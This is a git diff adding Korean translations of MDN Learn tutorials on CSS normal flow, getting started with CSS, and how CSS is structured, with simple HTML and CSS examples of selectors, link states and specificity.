선결 사항:HTML의 기초 (HTML에 대한 소개)와 CSS 작동 방식에 대한 개념(CSS 소개를 공부하세요.)
목표:변경이 이뤄지기 전에 브라우저가 웹 페이지를 기본값으로 레이아웃하는 방법을 설명하기
+ +

이전 단원에서 상세히 기술한 바와 같이, 당신이 CSS를 적용하지 않을 경우 웹 페이지의 요소는 normal flow로 배치됩니다. 그리고 normal flow에 포함된 요소의 위치를 조정하거나 요소를 완전히 제거함으로써 요소가 동작하는 방법을 변경할 수 있습니다. 모든 웹 페이지를 시작하는 최상의 방법은 normal flow에서 읽기 가능하며, 견고하고 구조화된 문서로 시작하는 것입니다. 이렇게 하면 제한된 기능을 가진 브라우저를 사용하거나 페이지 콘텐츠를 소리 내 읽는 스크린 리더와 같은 장치를 사용하는 사용자들까지 읽을 수 있는(readable) 콘텐츠로 만들 수 있습니다. 또한, normal flow는 읽기 가능한 문서를 만들도록 마련된 것으로, 이를 출발점으로 삼아 레이아웃을 변경할 때 웹페이지 문서와 대립해 싸울 게 아니라 그것과 협력해서 작업하게 됩니다.

+ +

서로 다른 레이아웃 메서드를 본격적으로 파헤치기 전에 일반 문서 흐름과 관련하여 이전 모듈에서 학습했던 내용 중의 일부를 복습하는 것도 가치가 있습니다.

+ +

기본값으로 요소들은 어떻게 배치되는가?

+ +

우선 개별 요소인 상자의 배치는 자신의 내용물을 채택하고, 그 주변에 패딩을 더하고, 테두리와 여백을 더하는 식으로 이뤄집니다. 다시 말해 앞서 살펴보았던 박스 모델과 같습니다.

+ +

기본값으로 블록 수준 요소의 내용물은 자기 부모 요소의 너비 100%와 자체 내용물의 최대 높이가 됩니다. 인라인 요소는 자체 내용물의 최대 높이를 취하는 동시에 최대 너비를 취합니다. 인라인 요소에 너비나 높이를 설정할 수는 없습니다. 그들은 블록 수준 요소의 콘텐츠 내부에 들어앉았을 뿐입니다. 인라인 요소의 크기를 제어하려면 그것을 display: block; 속성값이나 양쪽의 성격이 혼합된 display: inline-block;을 가지고 블록 수준 요소처럼 행동하도록 설정할 필요가 있습니다.

+ +

앞서 살펴본 내용에서 개별 요소는 설명되지만, 여러 요소가 서로 상호 작용하는 방법은 어떻게 설명할까요? (레이아웃 입문서에서 언급했던) 일반 레이아웃의 flow는 브라우저의 뷰포트 안에 요소를 배치하는 시스템입니다. 기본값으로 블록 수준 요소의 배치는 부모의 쓰기 모드(initial: horizontal-tb)에 기초해 블록 flow 방향에 포함되어 이뤄집니다. 다시 말해 각 블록 요소는 마지막 요소 아래 새 줄에 나타나며, 각 요소에 주어진 margin에 의해 구분됩니다. 그러므로 영어 또는 여타 가로쓰기, 상단에서 하단으로 행갈이 하는 쓰기 모드와 블록 수준 요소는 수직으로 배치됩니다.

+ +

인라인 요소는 다르게 동작합니다. 새로운 줄에 나타나는 대신, 다른 요소와 같은 라인에 차례로 자리 잡습니다. 다만 인접(혹은 접힌) 텍스트 콘텐츠는 해당 부모의 블록 수준 요소의 너비 내에서 자신이 자리를 잡을 수 있는 공간이 있는 경우가 해당합니다. 충분한 공간이 없을 경우 overflow되는 텍스트 또는 요소는 새로운 줄에 나타납니다.

+ +

두 개의 인접 요소가 모두 자체 여백이 지정되어 있다면 두 여백은 접촉하고 그중 큰 여백만 남게 되며, 작은 여백은 사라집니다. 이를 마진 축소(margin collapsing)라고 하며 이전에 확인해본 적이 있습니다.

+ +

이 모든 것을 설명하는 간단한 예를 살펴봅시다.

+ +
+
<h1>기본 문서 flow</h1>
+
+<p>나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.</p>
+
+<p>기본값으로 우리는 우리 부모 요소의 너비 100%를 넘나들며, 우리 자녀 콘텐츠의 최대 높이를 취합니다. 우리의 총 너비와 총 높이는 우리의 콘텐츠 + 패딩 + 테두리 너비 및 높이입니다.</p>
+
+<p>우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.</p>
+
+<p>인라인 요소 <span>이 것과 같은</span> 그리고 <span>이것이</span> 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 오버플로할 경우 <span>(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)</span>, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p>
+ +
body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: rgba(255,84,104,0.3);
+  border: 2px solid rgb(255,84,104);
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: white;
+  border: 1px solid black;
+}
+
+ +

{{ EmbedLiveSample('일반_flow', '100%', 500) }}

+ +

요약정리

+ +

이제 당신은 normal flow은 물론, 기본값으로 브라우저가 어떤 방식으로 사물을 배치하는지 이해했습니다. 당신의 디자인 필요에 따라 레이아웃을 만들기 위해 디스플레이 기본값을 변경하는 방법을 배우려면 다음 단계로 이동하세요.

+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}

+ +

이번 단위에는

+ + diff --git a/files/ko/learn/css/first_steps/getting_started/index.html b/files/ko/learn/css/first_steps/getting_started/index.html new file mode 100644 index 0000000000..431e4bca1a --- /dev/null +++ b/files/ko/learn/css/first_steps/getting_started/index.html @@ -0,0 +1,253 @@ +--- +title: CSS 로 시작하기 +slug: Learn/CSS/First_steps/Getting_started +translation_of: Learn/CSS/First_steps/Getting_started +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}
+ +

이 기사에서는 간단한 HTML 문서를 가져와서 CSS 를 적용하여 언어에 대한 실질적인 내용을 학습합니다.

+ + + + + + + + + + + + +
전제조건:기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식 및 HTML 기본 지식 (HTML 소개 학습)
목적:CSS 문서를 HTML 파일에 연결하는 기본 사항을 이해하고, CSS를 사용하여 간단한 텍스트 형식을 지정하기
+ +

HTML 로 시작합니다

+ +

시작점은 HTML 문서입니다. 자신의 컴퓨터에서 작업하려는 경우에는 아래에서 코드를 복사할 수 있습니다. 아래 코드를 컴퓨터의 폴더에 index.html 로 저장하십시오.

+ +
<!doctype html>
+<html lang="ko-KR">
+<head>
+    <meta charset="utf-8">
+    <title>CSS로 시작하기</title>
+</head>
+
+<body>
+
+    <h1>레벨 1 제목입니다</h1>
+
+    <p>이것은 단락입니다. 본문에는 <span>span 요소</span>와 <a href="http://example.com">링크</a>가 있습니다.</p>
+
+    <p>이것은 두 번째 단락입니다. <em>강조된</em> 요소를 포함합니다.</p>
+
+    <ul>
+        <li>항목 하나</li>
+        <li>항목 둘</li>
+        <li>항목 <em>셋</em></li>
+    </ul>
+
+</body>
+
+</html>
+
+ +
+

참고: 파일을 쉽게 만들 수 없는 장치나 환경에서 이 내용을 읽는 경우, 걱정하지 마십시오 — 페이지의 바로 여기에 예제 코드를 작성할 수 있도록 라이브 코드 편집기가 제공됩니다.

+
+ +

문서에 CSS 추가하기

+ +

가장 먼저 해야할 일은 HTML 문서에 사용하려는 CSS 규칙이 있다는 것을 알리는 것입니다. CSS 를 HTML 문서에 적용하는 방법에는 세 가지가 있지만, 지금은 문서의 head 에서 연결하는 가장 일반적이고 유용한 방법을 살펴 보겠습니다.

+ +

HTML 문서와 같은 폴더에 파일을 만들고 styles.css 로 저장하십시오. .css 확장자는 이것이 CSS 파일임을 보여줍니다.

+ +

styles.css 파일을 index.html 에 링크하려면, HTML 문서의 {{htmlelement("head")}} 안에 다음 행을 추가하십시오:

+ +
<link rel="stylesheet" href="styles.css">
+ +

이  {{htmlelement("link")}} 요소는 rel 속성을 사용하는 스타일 시트와 해당 스타일 시트의 위치를 href 속성의 값으로 브라우저에게 알려줍니다. styles.css 에 규칙을 추가하여 CSS 가 작동하는지 테스트 할 수 있습니다. 코드 편집기를 사용하여 CSS 파일에 다음을 추가하십시오:

+ +
h1 {
+  color: red;
+}
+ +

HTML 및 CSS 파일을 저장하고 웹 브라우저에서 페이지를 다시 로드 하십시오. 문서 상단의 레벨 1 제목이 이제 빨간색이어야 합니다. 이 경우 축하합니다. 일부 CSS 를 HTML 문서에 성공적으로 적용했습니다. 그렇지 않으면 모든 것을 올바르게 입력했는지 주의 깊게 확인하십시오.

+ +

styles.css 에서 로컬로 계속 작업하거나, 아래의 대화식 편집기를 사용하여 이 자습서를 계속할 수 있습니다. 대화식 편집기는 위의 문서와 마찬가지로 첫 번째 패널의 CSS가 HTML 문서에 연결된 것처럼 작동합니다.

+ +

HTML 요소 스타일링

+ +

제목을 빨간색으로 하여 이미 HTML 요소를 대상으로 스타일을 지정할 수 있음을 보여주었습니다. 이 작업은 요소 선택자 (HTML 요소 이름과 직접 일치하는 선택자) 를 대상으로 수행됩니다. 문서의 모든 단락을 대상으로 하려면 선택자 p 를 사용합니다. 모든 단락을 녹색으로 바꾸려면 다음을 사용하십시오:

+ +
p {
+  color: green;
+}
+ +

선택자를 쉼표로 구분하여 여러 선택자를 한 번에 대상으로 지정할 수 있습니다. 모든 단락과 모든 목록 항목을 녹색으로 만들려면 규칙은 다음과 같습니다:

+ +
p, li {
+    color: green;
+}
+ +

아래의 대화식 편집기 (코드 박스 편집) 또는 로컬 CSS 문서에서 이를 시도하십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} 

+ +

요소 (elements) 의 기본 동작 변경하기

+ +

예제와 같이 간단한 HTML 문서를 살펴보면, 기본 스타일을 추가하여 브라우저가 HTML을 읽을 수 있게 만드는 방법을 알 수 있습니다. 제목은 크고 대담하며 목록에는 글머리 기호가 있습니다. 이는 브라우저에서 기본 스타일을 포함하는 내부 스타일 시트가 있기 때문에 기본적으로 모든 페이지에 적용됩니다. 그들 없이는 모든 텍스트가 한 덩어리로 모여서 처음부터 모든 것을 스타일링 해야합니다. 모든 최신 브라우저는 기본적으로 HTML 내용을 거의 같은 방식으로 표시합니다.

+ +

그러나, 종종 브라우저에서 선택한 것 이외의 것을 원할 것입니다. 변경하려는 HTML 요소를 선택하고 CSS 규칙을 사용하여 모양을 변경하면 됩니다. 좋은 예는 순서가 없는 목록인 <ul> 입니다. 목록 글머리 기호가 있으며, 그 글머리 기호를 원하지 않으면 다음과 같이 제거할 수 있습니다:

+ +
li {
+  list-style-type: none;
+}
+ +

이것을 CSS 에 추가하십시오.

+ +

list-style-type 속성은 MDN 에서 지원되는 값을 확인하는 데 유용한 속성입니다. list-style-type 에 대한 페이지를 살펴보면 페이지 상단에 몇 가지 다른 값을 시도하는 대화식 예제가 있으며, 허용 가능한 모든 값이 페이지 아래에 자세히 나와 있습니다.

+ +

이 페이지를 보면 목록 글머리 기호를 제거할 뿐만 아니라 목록 글머리 기호를 변경할 수 있음을 알 수 있습니다. square 값을 사용하여 정사각형 글머리 기호로 변경하십시오.

+ +

class 추가하기

+ +

지금까지 HTML 요소 이름을 기반으로 요소의 스타일을 지정했습니다. 문서에서 해당 유형의 모든 요소가 동일하게 표시되기를 원하는 한 작동합니다. 대부분의 경우에 해당되지 않으므로 다른 요소를 변경하지 않고 요소의 하위 부분을 선택할 수 있는 방법을 찾아야 합니다. 이를 수행하는 가장 일반적인 방법은 HTML 요소에 class 를 추가하고 해당 class 를 대상으로 하는 것입니다.

+ +

HTML 문서에서, 두 번째 목록 항목에 class 속성 을 추가하십시오. 이제 목록은 다음과 같습니다:

+ +
<ul>
+  <li>항목 하나</li>
+  <li class="special">항목 둘</li>
+  <li>항목 <em>셋</em></li>
+</ul>
+ +

CSS 에서 마침표 문자로 시작하는 선택자를 작성하여 special class 를 대상으로 할 수 있습니다. CSS 파일에 다음을 추가하십시오:

+ +
.special {
+  color: orange;
+  font-weight: bold;
+}
+ +

저장하고 새로 고침하여 결과를 확인하십시오.

+ +

이 목록 항목과 동일한 모양을 원하는 페이지의 모든 요소에 special class 를 적용할 수 있습니다. 예를 들어, 단락의 <span> 도 주황색과 굵게 표시할 수 있습니다. special class 를 추가한 다음, 페이지를 새로 고침하여 어떻게 되는지 확인하십시오.

+ +

때로는 HTML 요소 선택자 및 class 목록이 포함된 규칙이 표시됩니다:

+ +
li.special {
+  color: orange;
+  font-weight: bold;
+}
+ +

이 구문은 "spacial class 를 가진 모든 li 요소를 대상으로 함" 을 의미합니다. 이 작업을 수행하면, 단순히 class 를 추가하기만 하면 더 이상 class 를 <span> 또는 다른 요소에 적용할 수 없습니다. 해당 요소를 선택자 목록에 추가해야 합니다:

+ +
li.special,
+span.special {
+  color: orange;
+  font-weight: bold;
+}
+ +

당신이 상상할 수 있듯이, 일부 class 는 많은 요소에 적용될 수 있으며 새로운 스타일을 취해야 할 때마다 CSS 를 계속 편집하지 않아도 됩니다. 따라서 하나의 요소에 대해 특별한 규칙을 만들고 싶거나 다른 요소에 적용되지 않도록 하려는 경우가 아니라면 요소를 무시하고 class 를 참조하는 것이 가장 좋습니다.

+ +

문서에서의 위치에 따라 스타일 지정하기

+ +

문서에서의 위치에 따라 무언가 다르게 보일 때가 있습니다. 여기에 당신을 도울 수 있는 선택자가 많이 있지만, 지금 몇 가지만 살펴 보겠습니다. 이 문서에는 두 개의 <em> 요소가 있습니다 — 하나는 단락 안에 있고 다른 하나는 목록 항목 안에 있습니다. <li> 요소 안에 중첩된 <em> 만 선택하려면 descendant combinator 라는 선택자를 사용 할 수 있습니다. 이 선택자는 단순히 두 개의 다른 선택자 사이에 공백의 형태를 취합니다.

+ +

스타일 시트에 다음 규칙을 추가 하십시오.

+ +
li em {
+  color: rebeccapurple;
+}
+ +

이 선택자는 <li> 의 하위 요소인 <em> 요소를 선택합니다. 따라서 예제 문서에서 세 번째 목록 항목의 <em> 은 이제 자주색 이지만, 단락 안의 항목은 변경되지 않았음을 알 수 있습니다.

+ +

HTML 의 동일한 계층 구조 수준에서 제목 바로 다음에 오는 단락의 스타일을 지정해 볼 수 있습니다. 이렇게 하려면 선택자 사이에 +  (adjacent sibling combinator) 를 배치 하십시오.

+ +

이 규칙을 스타일 시트에도 추가하십시오:

+ +
h1 + p {
+  font-size: 200%;
+}
+ +

아래의 라이브 예제에는 위의 두 규칙이 포함됩니다. 단락 내부에 있는 span 을 빨간색으로 만들려면 규칙을 추가하십시오. 첫 번째 단락의 span 이 빨간색 이므로 올바른 span 이 있는지 알 수 있지만, 첫 번째 목록 항목의 span 은 색이 변경되지 않습니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}}

+ +
+

참고: 보시다시피, CSS 는 요소를 대상으로 하는 여러 가지 방법을 제공합니다. 이 과정의 뒷부분에서 이러한 선택자 및 선택자 관련 기사를 모두 자세히 살펴볼 것입니다.

+
+ +

상태에 따른 스타일링

+ +

이 자습서에서 살펴볼 스타일링의 마지막 유형은 상태에 따라 스타일을 지정할 수 있는 기능입니다. 이에 대한 간단한 예제는 링크 스타일링 입니다. 링크의 스타일을 지정할 때 <a> (앵커) 요소를 대상으로 해야합니다. 방문되지 않았는지, 방문 중인지, 마우스 오버인지, 키보드를 통한 포커스 또는 클릭 (활성화) 여부에 따라 상태가 다릅니다. CSS 를 사용하여 이러한 다양한 상태를 대상으로 할 수 있습니다. 아래 CSS 는 방문하지 않은 링크는 분홍색이고 방문한 링크는 녹색입니다.

+ +
a:link {
+  color: pink;
+}
+
+a:visited {
+  color: green;
+}
+ +

사용자가 링크 위로 이동할 때 링크 모양을 변경할 수 있습니다. 예를 들어, 다음 규칙에서 밑줄을 제거합니다:

+ +
a:hover {
+  text-decoration: none;
+}
+ +

아래 라이브 예제에서는 링크의 다양한 상태에 대해 다른 값으로 표시할 수 있습니다. 위의 규칙을 추가했으며, 이제 핑크 색상이 매우 가볍고 읽기 어렵다는 것을 알고 있습니다. 더 나은 색상으로 바꾸지 않겠습니까? 링크를 굵게 표시할 수 있습니까?

+ +

{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} 

+ +

우리는 hover 링크에서 밑줄을 제거했습니다. 링크의 모든 상태에서 밑줄을 제거할 수 있습니다. 그러나 실제 사이트에서는 링크임을 방문자에게 알리고자 합니다. 밑줄을 제자리에 두면, 단락 내의 일부 텍스트를 클릭할 수 있다는 사실을 사람들이 인식할 수 있는 중요한 단서가 될 수 있습니다. CSS 의 모든 항목과 마찬가지로 변경 사항으로 인해 문서에 대한 접근성을 떨어뜨릴 수 있는 가능성이 있습니다. 적절한 장소에서 발생할 수 있는 잠재적 위험을 강조하는 것이 목표입니다. 

+ +
+

참고: 이러한 교육 과정과 MDN 전반에 걸쳐 접근성 에 대한 언급이 자주 있을 것입니다. 접근성에 대해 이야기할 때 웹 페이지를 모든 사용자가 이해하고 사용할 수 있어야 한다는 요구 사항을 언급하고 있습니다.

+ +

방문자는 마우스나 trackpad 또는 터치스크린이 있는 스마트폰에 있을 수 있습니다. 또는 문서의 내용을 읽어내는 스크린 리더를 사용하거나 훨씬 큰 텍스트를 사용하거나 키보드만 사용하여 사이트를 탐색해야 할 수도 있습니다.

+ +

일반 HTML 문서는 일반적으로 모든 사용자가 접근할 수 있습니다. 해당 문서의 스타일을 지정하기 시작하면 접근성이 저하되지 않도록 하는 것이 중요합니다.

+
+ +

선택자와 결합자를 결합

+ +

여러 선택자와 결합자를 함께 결합할 수 있습니다. 예를 들면 다음과 같습니다:

+ +
/* <article> 내부의 <p> 안에 있는 모든 <span> 을 선택합니다  */
+article p span { ... }
+
+/* <h1> 바로 뒤에 오는 <ul> 바로 뒤의 모든 <p> 를 선택합니다  */
+h1 + ul + p { ... }
+ +

여러 유형을 함께 결합 할 수도 있습니다. 코드에 다음을 추가 하십시오:

+ +
body h1 + p .special {
+  color: yellow;
+  background-color: black;
+  padding: 5px;
+}
+ +

이것은 <body> 안에 있는 <h1> 바로 뒤에 오는 <p> 안에 있는 special class 를 가진 요소를 스타일링 합니다. 아이고 복잡해라!

+ +

우리가 제공한 원본 HTML 에서 스타일이 지정된 유일한 요소는 <span class="special"> 입니다.

+ +

현재 이것이 복잡해 보인다고 걱정하지 마십시오 — CSS 를 더 많이 작성할수록 곧 요령을 터득하기 시작할 것입니다.

+ +

마무리

+ +

이 자습서에서는, CSS 를 사용하여 문서의 스타일을 지정할 수 있는 여러 가지 방법을 살펴 보았습니다. 우리는 나머지 수업을 진행 하면서 이 지식을 개발할 것입니다. 그러나 이제 텍스트 스타일을 지정하고 문서의 요소를 대상으로 하는 다양한 방법을 기반으로 CSS 를 적용하고 MDN 설명서에서 속성과 값을 검색할 수 있을 정도로 이미 알고 있습니다.

+ +

다음 수업에서는 CSS 가 어떻게 구성되어 있는지 살펴 볼 것입니다.

+ +

{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}

+ +

이번 강의에서는

+ +
    +
  1. CSS 란 무엇인가?
  2. +
  3. CSS 로 시작하기
  4. +
  5. CSS 의 구조
  6. +
  7. CSS 작동 방식
  8. +
  9. 새로운 지식 사용
  10. +
diff --git a/files/ko/learn/css/first_steps/how_css_is_structured/index.html b/files/ko/learn/css/first_steps/how_css_is_structured/index.html new file mode 100644 index 0000000000..e7a46f1c7c --- /dev/null +++ b/files/ko/learn/css/first_steps/how_css_is_structured/index.html @@ -0,0 +1,504 @@ +--- +title: CSS 의 구조 +slug: Learn/CSS/First_steps/How_CSS_is_structured +translation_of: Learn/CSS/First_steps/How_CSS_is_structured +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}
+ +

CSS 가 무엇인지, 그리고 CSS 의 기본 사용법에 대해 여러분은 알고 있습니다. 이제 언어 자체의 구조를 조금 더 깊이 살펴볼 차례입니다. 우리는 이미 여기에서 논의된 많은 개념들을 만났습니다. 나중에 혼란스러워 하는 개념을 발견하면, 이 개념으로 돌아와서 요약할 수 있습니다.

+ + + + + + + + + + + + +
전제조건:기본적인 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식, HTML 기본 사항 (HTML 소개 학습) 및 CSS 작동 방식 이해
목적:CSS 의 기본 구문 구조를 자세히 배우기.
+ +

HTML 에 CSS 적용하기

+ +

가장 먼저 살펴볼 것은 CSS 를 문서에 적용하는 세 가지 방법입니다.

+ +

외부 스타일 시트

+ +

CSS 시작하기 에서 외부 스타일 시트를 페이지에 연결했습니다. CSS 를 여러 페이지에 연결할 수 있으므로, CSS 를 문서에 첨부하는 가장 일반적이고 유용한 방법이며, 모두 동일한 스타일 시트로 CSS 스타일을 지정할 수 있습니다. 대부분의 경우 사이트의 다른 페이지는 모두 거의 동일하게 보이기 때문에 기본 모양과 느낌에 동일한 규칙을 사용할 수 있습니다.

+ +

외부 스타일 시트는 CSS 확장자가 .css 인 별도의 파일로 작성되고, HTML <link> 요소에서 참조하는 경우입니다:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>나의 CSS 실험</title>
+    <link rel="stylesheet" href="styles.css">
+  </head>
+  <body>
+    <h1>헬로우 월드!</h1>
+    <p>이것은 나의 첫 번째 CSS 예제입니다</p>
+  </body>
+</html>
+ +

CSS 파일은 다음과 같습니다:

+ +
h1 {
+  color: blue;
+  background-color: yellow;
+  border: 1px solid black;
+}
+
+p {
+  color: red;
+}
+ +

{{htmlelement("link")}} 요소의 href 속성은 여러분의 파일 시스템 파일을 참조해야 합니다.

+ +

위의 예에서, CSS 파일은 HTML 문서와 동일한 폴더에 있지만, 다른 곳에 저장 한다면, 지정된 경로를 다음과 같이 조정할 수 있습니다:

+ +
<!-- 현재 폴더의 styles 라는 하위 폴더 안에 -->
+<link rel="stylesheet" href="styles/style.css">
+
+<!-- 현재 폴더의 styles 라는 하위 폴더에 있는 general 이라는 하위 폴더 안에 -->
+<link rel="stylesheet" href="styles/general/style.css">
+
+<!-- 상위 폴더로 올라간 다음, styles 라는 하위 폴더 내로 이동 -->
+<link rel="stylesheet" href="../styles/style.css">
+ +

내부 스타일 시트

+ +

내부 스타일 시트는 외부 CSS 파일이 없는 대신, HTML {{htmlelement("head")}} 안에 포함된 {{htmlelement("style")}} 요소 내부에 CSS 를 배치합니다.

+ +

따라서 HTML 은 다음과 같습니다:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>나의 CSS 실험</title>
+    <style>
+      h1 {
+        color: blue;
+        background-color: yellow;
+        border: 1px solid black;
+      }
+
+      p {
+        color: red;
+      }
+    </style>
+  </head>
+  <body>
+    <h1>헬로우 월드</h1>
+    <p>이것은 나의 첫 번째 CSS 예제입니다</p>
+  </body>
+</html>
+ +

이는 일부 상황 (CSS 파일을 직접 수정할 수 없는 콘텐츠 관리 시스템을 사용하는 경우도 있지만) 에서 유용할 수 있지만, CSS 가 필요한 외부 스타일 시트 만큼 효율적이지 않습니다 — 웹 사이트에서, CSS 가 모든 페이지에서 반복되고 변경이 필요한 경우 여러 위치에서 업데이트 됩니다.

+ +

인라인 스타일

+ +

인라인 스타일은 style 속성 내에 포함된 한 요소에만 영향을 주는 CSS 선언입니다:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>나의 CSS 실험</title>
+  </head>
+  <body>
+    <h1 style="color: blue;background-color: yellow;border: 1px solid black;">헬로우 월드!</h1>
+    <p style="color:red;">이것은 나의 첫 번째 CSS 예제입니다</p>
+  </body>
+</html>
+ +

당신이 정말로 필요하지 않는 한, 이것을 사용하지 마십시오! 유지 관리가 실제로 좋지 않으며 (문서당 동일한 정보를 여러번 업데이트 해야할 수도 있음), 프리젠테이션 CSS 정보와 HTML 구조 정보를 혼합하여 코드를 읽고 이해하기 어렵게 만듭니다. 다른 유형의 코드를 분리하여 유지하면 코드 작업을 하는 모든 사람이 훨씬 쉽게 작업할 수 있습니다.

+ +

인라인 스타일이 더 일반적이거나 권장되는 곳이 몇 군데 있습니다. 작업 환경이 실제로 제한적인 경우 (CMS 로 HTML 본문만 편집할 수 있음), 이를 사용하는 것이 좋습니다. 또한 가능한 많은 전자 메일 클라이언트와 호환되도록 HTML 전자 메일에 많이 사용된 것을 볼 수 있습니다.

+ +

이 기사에서 CSS 로 실습

+ +

이 기사에는 많은 CSS 가 있습니다. 이렇게 하려면, 컴퓨터에 새 디렉토리/폴더 를 작성하고 그 안에 다음 두 파일의 복사본을 작성하는 것이 좋습니다:

+ +

index.html:

+ +
<!DOCTYPE html>
+<html lang="ko">
+  <head>
+    <meta charset="utf-8">
+    <title>나의 CSS 실험</title>
+    <link rel="stylesheet" href="styles.css">
+  </head>
+  <body>
+
+    <p>여기에 테스트용 HTML 을 작성하십시오</p>
+
+  </body>
+</html>
+ +

styles.css:

+ +
/* 여기에 테스트용 CSS 를 작성하십시오 */
+
+p {
+  color: red;
+}
+ +

그런 다음, 실험하려는 CSS 를 발견하면, HTML <body> 콘텐츠를 스타일을 지정할 HTML 로 바꾸고 CSS 를 추가하여 CSS 파일 내에서 스타일을 지정하십시오.

+ +

파일을 쉽게 만들 수 있는 시스템을 사용하지 않는 경우, 아래의 대화식 편집기를 사용하여 실험해 보십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/getting-started/experiment-sandbox.html", '100%', 800)}} 

+ +

읽고, 재미있게 보내십시오!

+ +

선택자 (Selectors)

+ +

선택자를 만나지 않고 CSS 에 대해 이야기할 수 없으며, CSS 시작하기 자습서에서 이미 여러 가지 유형을 발견했습니다. 선택자는 스타일을 적용하기 위해 HTML 문서에서 무언가를 대상으로 하는 방법입니다. 스타일이 적용되지 않으면 선택자가 일치해야 하는 것과 동일하지 않을 수 있습니다.

+ +

각 CSS 규칙은 선택자 또는 선택자 목록으로 시작하여 규칙을 적용해야 하는 요소 또는 요소 규칙을 브라우저에게 알려줍니다. 다음은 모두 유효한 선택자 또는 선택자 목록의 예입니다.

+ +
h1
+a:link
+.manythings
+#onething
+*
+.box p
+.box p:first-child
+h1, h2, .intro
+ +

위의 선택자를 사용하는 CSS 규칙과 스타일을 적용할 일부 HTML 을 만들어 보십시오. 위 구문 중 일부가 무엇을 의미하는지 모르는 경우, MDN 에서 검색해 보십시오!

+ +
+

참고: 다음 과목의 CSS 선택자 자습서에서, 선택자에 대해 자세히 학습합니다.

+
+ +

우선 순위 (Specificity)

+ +

두 선택자가 동일한 HTML 요소를 선택할 수 있는 경우가 종종 있습니다. 단락을 파란색으로 설정하는 p 선택자 및 선택한 요소를 빨간색으로 설정하는 class 가 있는 아래 스타일 시트를 고려하십시오.

+ +
.special {
+  color: red;
+}
+
+p {
+  color: blue;
+}
+ +

HTML 문서에 special class 가 있는 단락이 있다고 가정해 봅시다. 두 규칙이 모두 적용될 수 있으므로 어느 쪽이 이길까요? 우리의 문단은 어떤 색이 될 것이라고 생각합니까?

+ +
<p class="special">나는 무슨 색입니까?</p>
+ +

CSS 언어에는 충돌시 어떤 규칙이 이기는지 제어하는 규칙이 있습니다 — 이러한 규칙을 계단식(cascade) 및 우선 순위(specificity) 라고 합니다. 아래 코드 블록에서 p 선택자에 대해 두 가지 규칙을 정의했지만, 단락이 파란색으로 표시됩니다. 파란색으로 설정한 선언은 스타일 시트에서 나중에 나타나고 이후 스타일은 이전 스타일을 재정의 하기 때문입니다. 이것은 실제의 계단식 (cascade) 입니다.

+ +
p {
+  color: red;
+}
+
+p {
+  color: blue;
+}
+ +

그러나, class 선택자 및 요소 선택자가 있는 이전 블록의 경우, class 가 이기고 단락이 빨간색으로 표시됩니다 — class 는 요소 선택자 보다 더 구체적이거나 더 우선 순위가 높은 것으로 설명되므로 이깁니다.

+ +

위 실험을 직접해 보십시오 — 실험에 HTML 을 추가한 다음, 스타일 시트에 두 개의 p { ... } 규칙을 추가하십시오. 그런 다음 첫 번째 p 선택자를 .special 로 변경하여 스타일이 어떻게 되는지 확인하십시오.

+ +

우선 순위 규칙과 계단식은 처음에는 약간 복잡해 보일 수 있으며 CSS 지식을 더 많이 쌓으면 이해하기 쉽습니다. 다음 과목에서 다룰 계단식 및 상속 기사에서, 우선 순위를 계산하는 방법을 포함하여 자세히 설명하겠습니다. 현재로서는 이것이 존재하며, 스타일 시트의 다른 요소가 더 높은 우선 순위를 가지기 때문에 CSS 가 예상한 대로 적용되지 않을 수도 있음을 기억하십시오. 하나 이상의 규칙이 요소에 적용될 수 있음을 식별하는 것이 이러한 문제를 해결하는 첫 번째 단계입니다.

+ +

속성 및 값

+ +

가장 기본적인 수준에서, CSS 는 두 가지 요소로 구성됩니다:

+ + + +

아래 이미지는 단일 속성과 값을 강조 표시합니다. 속성 이름은 color 이고 값은 blue 입니다.

+ +

A declaration highlighted in the CSS

+ +

값 과 쌍을 이루는 속성을 CSS 선언 (declaration) 이라고 합니다. CSS 선언은 CSS 선언 블록 안에 있습니다. 다음 이미지는 선언 블록이 강조 표시된 CSS 를 보여줍니다.

+ +

A highlighted declaration block

+ +

마지막으로, CSS 선언 블록은 선택자 와 쌍을 이루어 CSS Rulesets (또는 CSS 규칙 ) 를 생성합니다. 이미지에는 h1 선택자 및 p 선택자의 두 가지 규칙이 있습니다. h1 의 규칙이 강조 표시됩니다.

+ +

The rule for h1 highlighted

+ +

